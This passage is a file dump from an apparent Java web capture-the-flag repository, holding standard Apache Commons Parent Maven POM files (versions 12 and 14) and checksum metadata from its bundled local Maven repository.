    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/12/commons-parent-12.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- TODO: dummy version. In Maven 2.1, this will be auto-versioned being a generic parent -->\n  <version>12</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <!--\n      This POM's parent POM (the Apache root POM) provides repositories. Unfortunately,\n      this allows for accidental deployments. So we disable them here by providing\n      a dummy repository. Use \"mvn -Prc deploy\" (Apache snapshot repository) or\n      \"mvn -Prelease deploy\" (Apache release repository), if you really want to deploy.\n    -->\n    <repository>\n      <id>dummy</id>\n      <name>Dummy to avoid accidental deploys</name>\n      <url />\n    </repository>\n  </distributionManagement>\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-12</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-12</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-12</url>\n  </scm>\n\n  <mailingLists>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <post>issues@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <post>commits@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <resources>\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>${maven.compile.source}</source>\n            <target>${maven.compile.target}</target>\n            <encoding>${commons.encoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.6</version>\n          <configuration>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.1</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>1.4.0</version>\n          <inherited>true</inherited>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- TODO: later use toolchain support to do compilation on an external JDK 1.3+ compiler -->\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>target/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-idea-plugin</artifactId>\n        <configuration>\n          <jdkLevel>${maven.compile.source}</jdkLevel>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.6</version>\n        <configuration> \n          <aggregate>false</aggregate>\n          <source>${maven.compile.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docEncoding>${commons.docEncoding}</docEncoding>\n          <linksource>true</linksource>\n          <links>\n            <link>http://java.sun.com/javase/6/docs/api/</link>\n          </links>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n        <configuration> \n          <aggregate>false</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>2.0.1</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>2.4.3</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.releases</id>\n          <name>Apache Release Distribution Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <archive>\n                <manifest>\n                  <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                  <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                </manifest>\n              </archive>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                  <archive>\n                    <manifest>\n                      <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                      <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                    </manifest>\n                  </archive>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>site</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <archive>\n                <manifest>\n                  <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                  <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                </manifest>\n              </archive>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prc</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                  <archive>\n                    <manifest>\n                      <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                      <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                    </manifest>\n                  </archive>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>attached</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../sanselan</module>\n        <module>../scxml</module>\n        <module>../transaction</module>\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n  </profiles>\n\n  <properties>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC1</commons.rc.version>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${pom.version}</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>target/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define encoding for filtering -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/12/commons-parent-12.pom.sha1",
    "content": "cc649b3f6671ff0e0ad57304441e0a5d2610db73"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/14/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:38 CST 2018\ncommons-parent-14.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/14/commons-parent-14.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>7</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- TODO: dummy version. In Maven 2.1, this will be auto-versioned being a generic parent -->\n  <version>14</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <!--\n      This POM's parent POM (the Apache root POM) provides repositories. Unfortunately,\n      this allows for accidental deployments. So we disable them here by providing\n      a dummy repository. Use \"mvn -Prc deploy\" (Apache snapshot repository) or\n      \"mvn -Prelease deploy\" (Apache release repository), if you really want to deploy.\n    -->\n    <repository>\n      <id>dummy</id>\n      <name>Dummy to avoid accidental deploys</name>\n      <url />\n    </repository>\n  </distributionManagement>\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-14</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-14</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-14</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <resources>\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <source>${maven.compile.source}</source>\n            <target>${maven.compile.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <fork>${commons.compiler.fork}</fork>\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n        <plugin>\n          